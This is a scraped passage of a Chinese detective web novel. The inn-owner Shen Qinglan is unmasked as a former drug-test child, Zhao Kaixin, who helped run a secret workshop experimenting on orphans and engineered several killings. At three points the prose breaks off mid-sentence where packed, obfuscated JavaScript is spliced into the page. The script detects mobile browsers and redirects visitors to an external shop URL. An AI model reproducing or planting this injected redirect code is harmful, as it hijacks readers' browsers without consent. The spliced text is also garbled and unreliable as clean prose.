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万仙的话未说完,沈清澜就打断道:“呵,你想错了。云溪苑山庄所求的是,既要让宾客住得舒心,又要让宾客感受心灵的涤荡。虽说让萧满这样的残疾之人待客,难免令部分客人不适,可你可知有多少人见此情形,心生恻隐,慷慨解囊?这般施舍之后,他们不仅得了行善之乐,更会记得我这云溪苑不单是景致绝佳,更是个有情有义的去处。这才是我让萧满待客的缘由。” “沈庄主的经营之道,在下佩服,佩服。”万仙故意道,“可是……” “可是什么?” “可是还有一件事,让我觉得疑惑。” “什么事?” “萧满为何发现柳天兆早已死亡,却还要连捅他数刀。” “不是因为他等待二十载,却被人抢先一步,愤恨至极,才下的手?” “萧满当时说‘我好想让我的那些伙伴知道,我替他们复了仇,柳天兆不得好死!’,这句话看似是在说,他想用自己的行为,慰藉那些被害的药童们。但我想,他或许也是想让当时在场的某个人知道,他完成了他们制定的计划,复了仇。”万仙指着沈清澜道,“萧满从小就是个容易被煽动、蛊惑的人。知道他这种性格,在二十年后,还能怂恿他去杀人,而且还曾是药童的人,恐怕就只有当年和他一起从药童坊逃出来的赵开心了吧?” 沈清澜死死地盯着万仙,嗤笑道:“万仙公子,这一切不过是你脑袋一热的猜测。你有何证据证明我是赵开心?难道只因我身上的鳞纹?不好意思,我并非什么药童,我身上的鳞纹是我从小就有的隐疾。我也不知道自己为何会得这种病。再说了……萧满可有亲口承认,是我指使、怂恿、蛊惑他去杀害柳天兆的?” 万仙道:“萧满捅刀后仍不落跑,就表明,他已经做好了抗下所有罪责的准备……” “哈哈哈,这不还是说明,你什么证据也没有吗?”沈清澜笑道,“我看这凌洛城赫赫有名的万仙公子,也不过是个满嘴胡诌的江湖术士罢了。” 他的话音戛然而止,嘴角那抹笑意如同冰封的昙花,骤然凝固在苍白的脸上。 因为他看到万仙笑了。 那是一种游刃有余的优雅笑容,仿若棋手即将要落下决胜之子。 “沈清澜,”万仙的声音轻得像一片羽毛,却重若千钧,“若萧满知晓你那些见不得光的勾当……”折扇“啪”的一收,“你觉得他还会愿意为你背负所有罪责吗?” 44.第四案:药童血06 万仙的话如同一柄薄如蝉翼的刀,刺破沈清澜裸露的鳞纹肌肤,刺入他的心脏。他张了张口,想要辩驳,可万仙轻而易举地让他哑口无言。 “你又要说,你不知我在说什么吗?那我便同你说说我的猜想吧。”万仙指着雾山角和王博多道,“那日傍晚,我们三人入住云溪苑前,你并未一直在房间整理账本吧?当时你鞋上沾着新鲜的泥土,说明你刚刚出去过。可是你为何偏要同我们撒谎呢?这表明你‘做贼心虚’,不想让我们知道你方才去干了什么。于是雾山角和王博多猜测,你与他人幽会去了。 “一开始,我也猜测,你与女人幽会去了。虽然你曾说过自己不近女色,羞于床榻之事,绝不婚娶,但你仪表堂堂,又是云溪苑山庄的庄主,说不定仍有女子不惮你身上的鳞纹,愿意与你缠绵呢?可若真有这样的女子,为何你不干脆娶她过门,与她在山庄内做一对恩爱鸳鸯,而要偷偷摸摸幽会呢?这又让我犯了糊涂。接着,那日与你在屋里谈话时,我还注意到了一件事……” “什么事?”沈清澜声音沙哑地问道。 “你后脖颈上有一处咬痕。” 原来还是被他注意到了。沈清澜伸手朝自己的后脖颈摸去。 “过了一日一夜,那咬痕现在已经淡了许多。但当时,它的颜色颇深,一看就是刚咬出来的。”万仙道,“一开始我猜想,那是女子与你缠绵时留下的印记,但是仔细一瞧我便发现,留在你后脖颈上的,是两排小小的牙印。那是孩童留下的咬痕!” 沈清澜手指微微颤抖,却无话可说。他一是怕自己说多错多,二是真不知道该如何辩驳。 万仙继续道:“当时我又想,莫不是这沈庄主幽会的是有孩子的妇人?那妇人带着孩子前去幽会,不知为何狠咬了沈庄主一口?但是那牙印虽小,却绝不是一两岁婴儿能够咬出来的大小。年纪再大一些的孩童,会有记忆,甚至会口述自己看到的事。哪有人会带这样大的孩子去跟情人幽会?那难道是山庄里客人的孩子调皮捣蛋,咬伤了你?可柳天兆的命案发生时,住客们都围了过来,其中却并无孩童。” 沈清澜闻言,冷笑一声道:“就不能是我在别处养了情人和孩子?至于为何我不娶她过门,在山庄里生活,那……只是时候未到。” “那我让你现在把你的情人和孩子请过来,你敢吗?”王博多插嘴道。 “我为何要听你的话!”沈清澜不悦道。 万仙旋即道:“好,那我再问你,你为何把九连环、七巧板、华容道这类玩物放在自己屋中?” 沈清澜一挑眉,道:“怎么?我不能将它们放在屋中?” “你说自己玩不来这些玩物,试了一两次就放弃了,只好放在架子上当作摆设。但是我当时拿起九连环把玩,却发现它温润异常。那是被把玩多次才会产生的包浆手感。而这些机巧玩意儿,最招孩子眼馋……”万仙道,“所以我当时也想过,或许你在别处养了情人和孩子。买这些,是给那小孩子解闷的。孩子多次把玩,才会让九连环产生了包浆。可是,你为何不把这些玩物放在孩子身旁,让孩子可以随时把玩,而是藏于自己屋中呢?这些玩物造型各异,带来带去,还会丁零当啷作响,你不觉得太麻烦了点?” “万仙公子,我实在是觉得你这番推论好笑至极!”沈清澜哈哈笑道,“我屋内那些玩物的确被把玩过多次。那是因为我会将它们借给山庄的客人解闷。的确,大多数时候,是孩子们在玩……但是,你也说了,近期山庄内并无孩童,所以我就将它们收起来了。” “哦?是这样吗?” “当然是这样!”沈清澜瞪了万仙一眼,“不然还能是什么原因?” “哎呀,那我就猜错了。”万仙不好意思地笑道,“都怪我,听了萧满做药童的故事,脑子里竟出现了奇怪的猜想。我还以为沈庄主私底下也建了个药童坊呢。” 沈清澜闻言,虎躯一震。 万仙续儿又道:“我以为,沈庄主买九连环之类的玩物,是为了操纵药童们,让他们言听计从。不将这些玩物放在药童身旁,则是为了‘驯鹰’——饿着鹰隼,偶尔给块鲜肉,反倒比日日饱食更教它驯服。 “我还以为,沈庄主前天晚上后脖颈上的咬痕,是某个想要反抗的药童,因痛恨你而将你咬伤的。 “我甚至以为,那日沈庄主之所以不愿意让我们知道自己外出,也是因为去了药童坊,不想被人察觉。哎……都怪我胡思乱想。” “死万仙!我还真当你是料事如神的神探呢!结果你倒好,竟这样胡乱推理,冤枉好人!”雾山角终于开口,埋怨道,“昨日,我听信你的谗言,给知县大人写去密信,已经让他派人去云雀山调查了。你现在说自己推测错了……你你你,你是想害死我吗?” 一旁浑身湿哒哒的王博多瞄了一眼生气的雾山角,偷偷扶了扶额头,想:这大头怎么连表演生气都这么拙劣?还不如我来呢! 但就算雾山角的演技拙劣,他言语里透露的消息,也足以让沈清澜乱了手脚。 “什么?你们为何……为何要派人去云雀山调查?!”他不可置信道。 万仙用折扇挠了挠头:“沈庄主,不好意思。我们入住山庄那日,我嫌外面起了风,你屋内冷了起来,就前去关窗。那时,我发现窗沿上落着一枚沾了泥,形似小鸟的花瓣。那是云雀山上独有的禾雀花的花瓣……所以,我猜测,那日沈庄主去了云雀山。赶回来时,为了掩人耳目,你从窗户跃入屋内,佯装在屋内看账本,结果没有留意到自己身上沾了禾雀花的花瓣,其中一片落在了窗沿上……于是我就托小师爷,让知县大人派人去云雀山寻一寻是否会有暗藏在地下的药童坊了。” 看着顿时心神不宁的沈清澜,万仙继续道:“不过既然沈庄主没建什么药童坊,自然不必担心云雀山那边的事。哎,现在要担心,也是万某要担心。给了假的情报,害官府大动干戈,万某怕是要被问罪了。” “你这死万仙!”雾山角又提高声音骂道,“这下连我也要被问罪了!” “那你快快通知官差们,别再去那边浪费精力了。”沈清澜赶紧道。 “他们昨夜就已启程云雀山。”雾山角抬头看了看头顶的太阳,“现在恐怕已经进山了。” 沈清澜焦急道:“你身上没有什么可以通知他们回撤的东西吗?譬如旗火之类?” “忘带了。”雾山角两手一摊道。 沈清澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175951|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装作无奈地摇了摇头。 “算了,你们就瞎浪费精力去吧。”他拎起湿漉漉的衣袖,“我回房换衣服去了。” 这时,万仙朝王博多使了个眼色。王博多立马上前,箍住了沈清澜的胳膊。 “沈庄主,你不能走!”王博多道。 “为何?”沈清澜不解地怒道。 王博多一副胡搅蛮缠的样子:“虽然你巧舌如簧,能够反驳我们仙儿哥。但是,谁说我们仙儿哥的推测,就没有一点道理呢?万一你真在云雀山里建了个游客难以察觉的药童坊呢?不如就让官差们好好搜查一番,待有结果后,你再走!” 沈清澜用力地甩手,道:“我衣衫褴褛,浑身湿透,待我去换个衣裳,你再来监视我也不迟。” 王博多依旧死死地抱着他:“沈庄主,不瞒你说,我听你跟小师爷交谈后,非常担心你会用旗火之类的东西通知同伙。” 沈清澜一怔,怒道:“我没功夫跟你在这胡扯!松手!” 王博多继续耍无赖道:“今日说什么,我也不会就这么放你走的!你若问心无愧,便同我在此等候云雀山的消息。倘若真是我冤枉了好人,我爹开的‘异宝博多’当铺里,任你挑选一件稀世之宝——就当我给你赔罪了,如何?” “我差这点东西吗?!”沈清澜大声喊道,“你莫要再胡搅蛮缠!不然别怪我不客气!” “沈庄主,别生气嘛……”王博多准备继续嬉皮笑脸黏着沈清澜。 沈清澜终于失去了耐心,猛地出掌! “小心!” 电光火石间,万仙已挡在了王博多面前。他以折扇为剑,与沈清澜的掌法缠斗起来。沈清澜被他那柔弱的外表迷惑,以为自己会占上风,但是万仙却仅靠灵活的手法,用一把白扇,就将他逼得连连后退! 走为上计! 终于,沈清澜快速地抽回出掌的手,转身准备落跑,结果就见雾山角正抱着剑,岿然不动地站在他面前。 他既不叫他清澜兄,也不叫他沈庄主,而是直呼大名道:“沈清澜,那小毛孩说的也有几分道理,不是吗?我们一起晒晒太阳,赏赏春光,等一等又何妨呢?” 沈清澜可是见识过雾山角武功的。他意识到自己已被围困,无法离开三人的视线再偷偷送出消息了,于是他索性把手伸进内衣里,掏出一个小烟筒。 这小烟筒是一种无需火褶子,向上抛起就会引燃的新式旗火。 他祈祷着,将它用力往天空一掷,期望它不要因为刚刚随自己落水,就失去了作用。 然而奇迹没有发生,那小烟筒在空中转了一圈,哑了火,很快就掉回到了地上。 “沈清澜!”雾山角把不忍剑架在了他的脖子上,吼道,“你果然有问题!” 沈清澜盯着哑火的小烟筒,痛苦地跪在地上。 “对不起……”许久之后,他低下头哭喊道,“对不起,悦悦。” “悦悦?”万仙惊讶道,“那个跟萧满一起从药童坊逃出来,摔倒后牺牲自己抱住王大九,让两个男生顺利逃走的悦悦?她没有被抓回去?” 沈清澜仰着头,竟有些得意道:“她那么聪明的人,怎么会甘心被抓回去处死呢?” 45.第四案:药童血07 雾山角在寄出的密信中,特意叮嘱舅舅务必派人仔细搜查云雀山的每一寸土地。纵使这药童坊藏得再隐秘,终究还是被他们发现了踪迹。 差役吴扁来报时说,他们在禾雀花盛开的油麻藤丛背面的山脊,发现了地下药童坊的入口。 他带人进入、包围此处时,一群孩子正在跟一名女子学唱歌。乍一看,这里完全不像是拿孩童试药的场所,更像是收养孤儿的慈幼局。 见到官差来解救自己,那些孩子非但没有欣喜,反倒抗拒地躲在那名唱歌的女子身后,叫嚷着:“母亲,母亲……” 吴扁还以为自己看错了小师爷的信,查错了地。 “反倒我们像是破坏了桃花源的恶人。”吴扁后来哀叹道,“但是我们只需查验一番那些小孩的身体,就知道他们绝不是正常的小孩。有个孩子,手上长的疱都在流脓血了,他们也不给处理。恐怕那教唱歌的女子,正在观察药在他身上的效用如何。” 吴扁说的这个女子,就是沈清澜口中的悦悦。 自从云雀山的药童坊被查处,沈清澜也不再变着法子地搪塞万仙和雾山角了。他终于承认,自己就是当年和悦悦、萧满一起从柳天兆药童坊跑出来的赵开心。 他说,就是他当年绊了悦悦一脚,才让她摔倒,放弃了落跑。 他至今都不清楚,当时自己为什么会绊了悦悦一脚。或许是跑太快没注意,或许是情急之下,他想让旁边的人拖住马上要追上来的王大九? 但他逃脱后,悦悦那绝望的眼神,如同一根针,扎进了他的脑袋。当他跑到虚脱,倒在地上喘息时,他为自己的可恶而狂笑不止。可每笑一声,那无尽的悔恨就会往心里多刻一刀。 赵开心带着这份愧疚和劫后余生的庆幸感,开始独自在这苍茫的人间东躲西藏。他每天忍受着身上鳞纹带来的瘙痒感,饥一顿饱一顿地度过了许多年。浑浑噩噩,胆战心惊的他终于长大成人。 有一天,他游荡到一座不知名的小城,身上的鳞纹再度瘙痒难耐,让他不得不决定去药铺偷一点药材。这么多年小偷小摸下来,他已知晓哪些药可以暂时止住身上的痒,所以他设计支开药铺的伙计,准备偷完药就走。 就在这时,一只手按住了他偷药的手。 他惊讶万分,赶紧抽出手,想要逃跑,却瞧见了那只手的主人的脸。 那张脸成熟了,可五官轮廓完全没有变。尤其是那双眼睛……他还记得它们绝望时的样子。 “悦悦?”赵开心几乎尖叫出来。因为他以为,悦悦被抓回去后,会跟当年逃跑的小天一样,被串糖葫芦的签子折磨致死。 可是悦悦并没有被处死。她活生生地站在他的面前,面容姣好,身着华丽,优雅又得体,宛如富家千金。 见女孩蹙起眉打量自己,赵开心顿时慌乱起来。 是啊,不可能的,眼前的女子不可能是悦悦! 他刚要说对不起,我认错了人,就听对面女子道:“你认识我?” 赵开心又惊又喜,手也开始颤抖:“我是……赵开心。” “你是……赵开心?!”这下换悦悦惊讶了。 眼前这个骨瘦如柴,面容凹陷,脏兮兮的流浪汉,竟是赵开心! 她似是不信,猛地扒开了他本就褴褛的衣衫,瞧见了他肌肤上的鳞纹。 “你真是赵开心!”不知为何,她眼里竟泛起泪来。 她当然知道那年,是他绊了她一脚,将她逼上了绝路。 她摔倒时,绝望地看着他落跑的身影,恨不得将他千刀万剐! “对不起……”赵开心看到她眼里的泪,立刻跪了下来,“悦悦,对不起……” 她看着垂下头的赵开心,心里嗤笑道,道歉有用吗? 可她没有把这话说出口,因为聪明如她,在那时,已经迅速地做出了一个决定。 “你在跟我道什么歉啊。”悦悦脸上的愤恨稍纵即逝,接着,她把他扶起来,温柔地道,“你当年又不是故意绊我的。” 赵开心一怔,不知怎么接话。 悦悦又道:“说真的,你不是故意绊我的吧?” 赵开心依旧不敢接话。 悦悦拍了拍他的肩膀,像为他掸去尘土,道:“算了,过去的事都过去了。你现在在干什么呢?要抓药吗?可是我感觉你刚才在偷药呢……” 赵开心窘迫地看着眼前那包药。 这时,被支开的伙计回来了,看到悦悦,立即道:“悦悦小姐,你又来卖新药方了?上次那制孩童麻疹的药可真是神奇,城里不少人家出高价求你的药呢。果然给孩子用的药,最好开价。” “今日我只是路过,想来同你家老板打个招呼,并不是来卖新药方的。”悦悦说道。 “那可不巧,我们老板出门了。” “那我下次再来。”悦悦指了指柜台上的钱,又指了指赵开心,“人家的药费,你可得收好了。” “哦哦哦,这就收好。”伙计立即收好钱,给赵开心递过去药。他并不知道,这药补是赵开心付的,而是悦悦替他掏的。 赵开心窘迫地接过药,转过身,就见悦悦已经离开了药铺。 他赶紧追了上去。 “悦悦……”他倏然压低声音道,“等一等,悦悦姑娘……” 悦悦本就等着他追出来,听到他叫自己,狡黠的脸色快速一变,换上茫然的神色:“怎么了?” 赵开心有一肚子问题,却在这个当下,又支支吾吾说不出一个字来。 悦悦道:“你是不是想问我,我为什么没被柳老爷处死?” 赵开心尴尬地点点头。 悦悦指了指不远处等候她的马车,道:“想听的话,你就跟我走。”说完,也不等赵开心回答,就径直朝那马车走去。 赵开心没有过多犹豫,就亦步亦趋地追了上去。 对命运好奇的他,已不在乎悦悦会带他去哪里。于是在行驶的马车里,他听到了悦悦助他们逃脱王大九追捕后的经历。 王大九见赵开心和萧满跑得无影无踪后,气急败坏地狠狠踢了悦悦一脚。悦悦被踢得眼冒金星,不能动弹。王大九便将她拎了起来,准备回去交差。毕竟能逮回一个是一个。 结果就在回药童坊的途中,悦悦醒了过来。她不哭也不闹,而是突然对王大九说:“你放跑了人,还是两个……你觉得柳老爷会放过你吗?” 王大九闻言,气得将她重新摔在地上。 “还不都怪你这小丫头片子?!” 悦悦脸上挂着彩,吃力地撑着胳膊,却不惧王大九的怒吼,道:“上次小天出逃,柳老爷在房里扇你耳光,我可是从门缝里都看到了!我也听到他说,下次你再失职,会让你跟小天一样,死得惨不忍睹。” 王大九诧异道:“你居然敢偷看?” “这不是重点。重点是,你觉得柳老爷这次会不会放过你?”悦悦挑衅道。 王大九心里一颤,却仍嘴硬道:“他就我一个手下,他不敢真的杀了我。” “他是需要手下,却不需要连续放跑三个人的手下。”悦悦道,“你没有看管药童的能力,柳老爷不会再给你机会的。他若是把你踢出药童坊,倒也算了。但是你知道他那么多秘密,你觉得心狠手辣的他,会轻易让你走吗?” “你到底想说什么?” 悦悦恳切道:“我们一起逃走吧。” “呵,我们,逃走?你这小丫头片子,知道自己在说什么嘛?” 悦悦却坚定道:“我是说真的。我们一起逃走吧,逃得越远越好。” “逃走,谁来给我那么多钱潇洒?”王大九拒绝道。 “你要一辈子在他手底下做事,跟我们这些小孩待在一起,囚禁在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181946|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地下?他给你的钱,真的很多吗?你还不是喝不起上好的佳酿,吃不起山珍海味?不仅如此,你为了那一点钱,还要忍受柳老爷的暴脾气。你怎知他不会像害我们一样,害你?你还想被他扇巴掌,当条狗?”悦悦连连发问。她的每一句话,落在王大九耳朵里都震耳欲聋。 “所以趁着柳老爷现在还被刚出生的女儿分了心神,我们一起逃走吧。”悦悦继续蛊惑道,“你知道柳老爷如何诱骗孩童,如何建造药童坊,却不识字,不知道柳老爷医本里写了什么。但是我识字啊,我爹娘在世时,可是让先生教过我读书写字的。大多数的字我都认得,即使一些奇怪的药名,我不认识,却也已能默写出字型。” “你知道柳老爷的医本里写了什么?”王大九大惊,“你偷看了他的医本?” “不然我天天趴在门外干什么?你们总是小瞧我们这些孩子。但我可不是普通的小孩子,我总是趁你们不在,偷看那些医本。而且那些字句,我基本上都记得。”悦悦随即报出某个药方所需的药材,听得王大九一愣一愣的。 “你这小丫头片子,竟有这本事!” “我比药童坊里的任何人都聪明。大九哥,我跟你一起逃走吧。我们先在外面躲个两三年——以你的积蓄应该不成问题,我也可以去打杂干活,然后我们自己搞个药童坊,跟柳老爷争生意如何?到时候,我一定助你成为世间第一药师,让柳老爷都得给你磕头。” 说到这里,马车里的悦悦停顿了一下。 赵开心立马追问道:“王大九就这么相信了你?” “他当然没有那么容易轻信一个九岁女童的话。但他害怕柳老爷会惩罚他,甚至灭他的口,所以最终还是带着我逃了。” “他为什么要带着你逃?他一个人走不更轻松吗?” 悦悦倚在车窗旁,凄凉地笑道:“因为我求他带我走呀。我说,我长大后可以当他的女人。” 沉默横亘在车内。 悦悦看着惊呆的赵开心,又扯了扯嘴角:“我悦悦说到做到。王大九带我走后,我不仅决定成为他的女人,还决定和他一起建个新的药童坊。如今,这两件事,我都做到了。” “为什么……你自己受过当药童的苦,为什么还要伤害其他孩子?”赵开心愤怒道。 悦悦俯过身,盯着赵开心的眼睛。 “人为刀俎我为鱼肉的日子,你还没过够吗?反正我是过够了。”悦悦的声音悦耳,如二十年前一样具有蛊惑人心的力量,“赵开心,当年你不也是为了换自己一条生路,牺牲了我吗?你这时候在我面前装什么活菩萨呀?说到底,你跟我是一样的人。再说了,那些孩子若不被我收养,他们就会饿死在街角深巷里。如今他们吃得好,穿得暖,感激我还来不及呢。而且我又不像柳老爷那般无情,我对他们可温柔了,他们都视我为母亲呢!” 赵开心羞愧地埋下头去,不发一语。 悦悦却在这时,用一根手指勾起了他的下巴。 “赵开心,你真没出息。这么多年,你还是一事无成,要以偷窃为生。要不,你加入我们吧?反正你是烂人一个,我也是烂人一个。我们狼狈为奸,不挺好的吗?” 马车的车辙声如同闷雷,滚滚而过。车内却有一种奇怪的寂静。 赵开心对上悦悦的眼睛,许久许久,都发不出一个字。 “不愿意就算了,你立刻下车!”悦悦忽然生气道。 赵开心张张嘴,喉咙里终于发出含糊的声响。 “我愿意的……我加入……”他听到自己鬼使神差地应答道。他也不知道自己是自愿的,还是只是想在那时让悦悦开心一些。或许,他其实是想为自己当年逼她落入绝境赎罪? 不管什么原因,赵开心答应下来。他面前的悦悦闻言,立即转怒为喜,笑了起来。 “很开心再遇到你,赵开心。” 46.第四案:药童血08 云溪苑山庄的偏房里,被囚禁的沈清澜缓缓讲述着他身为赵开心的故事。 雾山角听完,招来了前来汇报的吴扁,问他是否在悦悦的药童坊里,找到王大九的身影。 吴扁摇了摇头,说药童坊除了那个名叫悦悦的女人和那群用来试药的孩童,并没有其他人的踪影。 “不过药童中有个叫白毛的小男孩曾主动说,他们换过一次父亲。”吴扁道。 “换过一次父亲?”雾山角皱着眉,看向赵开心。 万仙立即明白道:“所以,赵开心,你加入悦悦的药童坊后,杀了王大九,取代了他在药童坊里‘父亲’的位置?” 赵开心咬了咬嘴唇,气道:“又是那个白毛!” 说着,他对上万仙的视线,自顾自道:“不知道为何,一群孩子中,总有那么一两个特别聪明。柳天兆的药童坊里,最聪明的那个是悦悦。而悦悦的药童坊里,最聪明的就是这个白毛。万仙,你说我把九连环之类的玩物带回来,是为了‘驯鹰’,嗯……怎么说呢,你的推理多少有点道理。但真正的原因是,那白毛太有能耐了。我把那些玩物锁在药童坊的柜子里,白毛却总能用他的小聪明将它们取出来,然后用这些玩物,指挥其他药童为他做事。我不得已才把那些玩物带过去又带回来。” “白毛那么聪明,怎会不知道你们这药童坊是个吃人的地狱?他为什么不像悦悦当初那样,偷偷逃跑?要是他有开锁的本事,应该早就能逃出来了吧?”王博多不解道。 “恐怕悦悦对他也有不一样的手段。”万仙猜测道。 赵开心哼笑一声,点点头:“悦悦最懂看人,也最懂如何哄人。她知道白毛聪明到甚至可以称之为狡猾,便不再拿他试药,而是让他来管理、监视药童们的一举一动。他会得到更多玩耍的机会,吃的食物也更好一些。但他后来太蹬鼻子上脸了,不禁屡次偷玩九连环,还对我产生了敌意。那日我后脖颈上的咬痕,就是他趁我蹲下来捡东西时,扑上来咬出来的。我知道这兔崽子在想什么,他想取代我,和悦悦一起,成为这药童坊的新主人!” “你不防范于未然吗?”万仙问道。 “悦悦喜欢跟她一样聪明的人,我哪敢动他?”赵开心向万仙扬了扬下巴,“若悦悦知道你,她也会喜欢你的,万仙公子。” 雾山角这时开口道:“别给我扯东扯西!回答万仙刚才的问题,王大九去了哪里?是你杀了他吗?” 赵开心低头思索,像是在犹豫是否要坦白还是再努力挣扎一番。 不过后来,他还是放弃了撒谎。 因为他撒了太多谎,已经精疲力尽了,所以他道:“是我杀了王大九。这是我加入药童坊的投名状。悦悦一开始非常需要王大九的保护,也需要他来操办一切,在云雀山建起这药童坊。可是当这一切都已完成,她便厌烦了王大九的存在。何况王大九还时常玷污她,让她做龌龊之事。所以悦悦早就在计划杀了王大九。结果她还没动手,就在药铺里遇到了我。她蛊惑我,让我杀了王大九。这样,她不仅不用脏了自己的手,还掌握着我的把柄,能让我一辈子为她效劳,简直一举两得。我因为对她心怀愧疚,所以就答应了她。” “心怀愧疚?”雾山角不屑道,“我看你也是贪图药童坊能带给你荣华富贵吧?” 赵开心被戳中内心的贪婪,哑口无言。 万仙则继续问道:“让你改名换姓,来当云溪苑山庄,也是悦悦的主意?” 赵开心点点头。 “是为了向柳天兆报仇吗?” “呵,杀柳天兆可不需要我们花大价钱,买下这云溪苑。”赵开心道,“云溪苑地处凌洛城与浮图县边界,除了景色怡人外,交通更是便捷。柳天兆经常来此,不仅是为了休养生息,还是为了在这里与药商交易药方与药材。所以悦悦才会斥巨资,在上一任庄主去世后,拿下了这里。” 王博多疑惑道:“难道萧满杀害柳天兆,真的只是巧合?与沈清澜,啊不,与赵开心无关?” “萧满肯定与赵开心有关。”万仙转头对赵开心道,“赵开心,你现在也无需隐瞒与萧满的计划了吧?” 赵开心承认道:“万仙你猜得没错,是我设法让萧满去杀柳天兆的。半年前,我替悦悦去一家医馆兜售新的药方,正巧听那医师在跟徒弟聊起一位患了嘴角抽搐症的病人。我第一个想到的,便是萧满。我一边心想天底下不会有这么巧的事吧,一边在那医馆附近等了一阵,结果出现在医馆的那位病人,真就是萧满! “萧满同我一样,一心想要治病,却穷得可怜。于是我找到了他,施舍给了他一点银两。他没认出我,还以为我只是个有情有义的富商,对我感激不尽呢。最后,还是我自报家门,他才想起我。他很惊讶,我为何成了云溪苑的庄主。我当然不会告诉他,我和悦悦干的勾当,只说机缘巧合发了笔横财,买下了这山庄营生。我还告诉他,念在旧情上,我想给他一份差事,每月付给他月钱,好让他能去医病。他感激涕零,立即 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“这跟悦悦怂恿你杀王大九,异曲同工啊。”万仙感叹道。 “名师出高徒嘛。”赵开心扯了扯嘴角,自嘲完,继续道,“再次遇见柳天兆后,萧满就一直心神不宁。我便借着他内心的恐惧,开始唤起他做药童时的记忆。于是,对柳天兆的恨意,很快就塞满了萧满那单纯的大脑瓜。他决定替悦悦——他一直不知道悦悦还活着,替我们这些药童们复仇,亲手杀了柳天兆。只是没想到,柳天兆如此遭人记恨,不仅我们想要害他,就连他的亲生女儿也要他死!哈哈!” 万仙等他笑完,问道:“悦悦要你杀了柳天兆,不仅仅是因为他曾让你们做药童吧?” “哦?那是因为什么?”赵开心玩味地等待着答案。 “柳天兆的药童坊和悦悦的药童坊,现在都在浮图县。他们两个,现在是生意场上的对手。恐怕悦悦是想除掉对手,所以才要你去杀了柳天兆。” 赵开心笑道:“我就说,若悦悦知道你,她也会喜欢你的,万仙公子。” “这么说来,萧满不过是你们除掉竞争对手的一枚棋子罢了?”王博多惊讶道,“他还傻傻以为自己在为做药童的兄弟姐妹们出头呢!” “哈哈,你们可得告诉他,这世道,太单纯的人,只会当那砧板上的鱼肉!”赵开心道。 万仙脸色骤然一沉,眉间闪过一丝愠怒,可话到嘴边,却又生生咽了回去。 最终,他只是缓缓摩挲着手中的折扇,转过身去,低声叹了口气。 47.第四案:药童血09(案终) 凌洛城的官差查封了云雀山的药童坊,也根据柳云儿提供的线索,解救出了柳天兆药童坊的药童们。 他们很快发现,柳天兆药童坊豢养的“药童”远不止是尚未发育完全的孩童,其中竟混杂着数量可观的成年人。 倘若放任悦悦的药童坊继续发展下去,恐怕她也将不再局限于研制孩童的药物,届时必将有更多无辜者沦为这场疯狂试药的牺牲品。 不仅如此,万仙还发现,“鬼门开”一案中,那能让人回光返照的还魂丸,竟就是悦悦在研究孩童新药时,误打误撞发明出来,然后贩售到黑市里的。 但是悦悦被捕后,拒不交代自己犯下的罪孽。她把自己变成了一个哑巴,以此来对抗凌洛城知县魏天知的审问。 可就算她不愿意开口,药童坊里那么多的证物,也足以将她定罪。 浮图县的知县则对魏天知不啃一声,闯入自己管辖范围,调查药童案颇为不满。 一开始,他扬言要上报朝廷,给魏天知定罪。但后来,得知有证人指出他与柳天兆官商勾结,他立即没了气焰,讨好魏天知道:“在我眼皮底下,竟藏有两座药童坊,真是让我羞愧难当。虽然魏兄先斩后奏,有失章法,但我们一切为了百姓嘛……我也绝不会上报朝廷,来刁难魏兄的。” 万仙不知魏天知会如何处理与浮图县知县的关系,也无心关心官场的尔虞我诈,他只为能解救出药童坊的孩童而宽心。 听雾山角说,魏天知已经安排凌洛城里的慈幼局,收留未成年的药童。至于那些已成年的,他也会酌情给他们提供一些糊口的活。 一切尘埃落定,万仙三人终于启程回凌洛城。 路上,王博多再次崇拜地夸耀万仙:“仙儿哥,你果真料事如神哇。这下,你总可以去写你的探案书了吧?” 万仙摇摇头道:“运气好罢了。我只是大胆假设了一番,没成想竟凑巧蒙对了。” “干嘛这么谦虚!”王博多嚷道,“你若没有十足把握,怎敢让小师爷写信给知县大人,大动干戈去调查?” “因为我早已做好自己猜错,被问责的准备。”万仙轻摇那白面折扇,真诚道,“只是我认为,世间诸事,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190393|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心存疑虑,便应去求证。至于是否会撞了南墙……”他轻轻笑道,“撞了便撞了,揉揉脑袋,回头便是……” 王博多看他如此器宇轩昂,眼中的羡慕之色又多了几分。 “我也应该去买把扇子,如此起范儿。”他挺了挺胸膛,开玩笑道,“仙儿哥,要不你把你那扇子借我试试?” “休想打我扇子的主意!”万仙收起扇子,偷偷指了指雾山角,“小师爷的不忍剑才是最适合起范儿的!” 雾山角见王博多投来耍贱的目光,把手往不忍剑的剑柄上一按,冷声道:“你敢!” 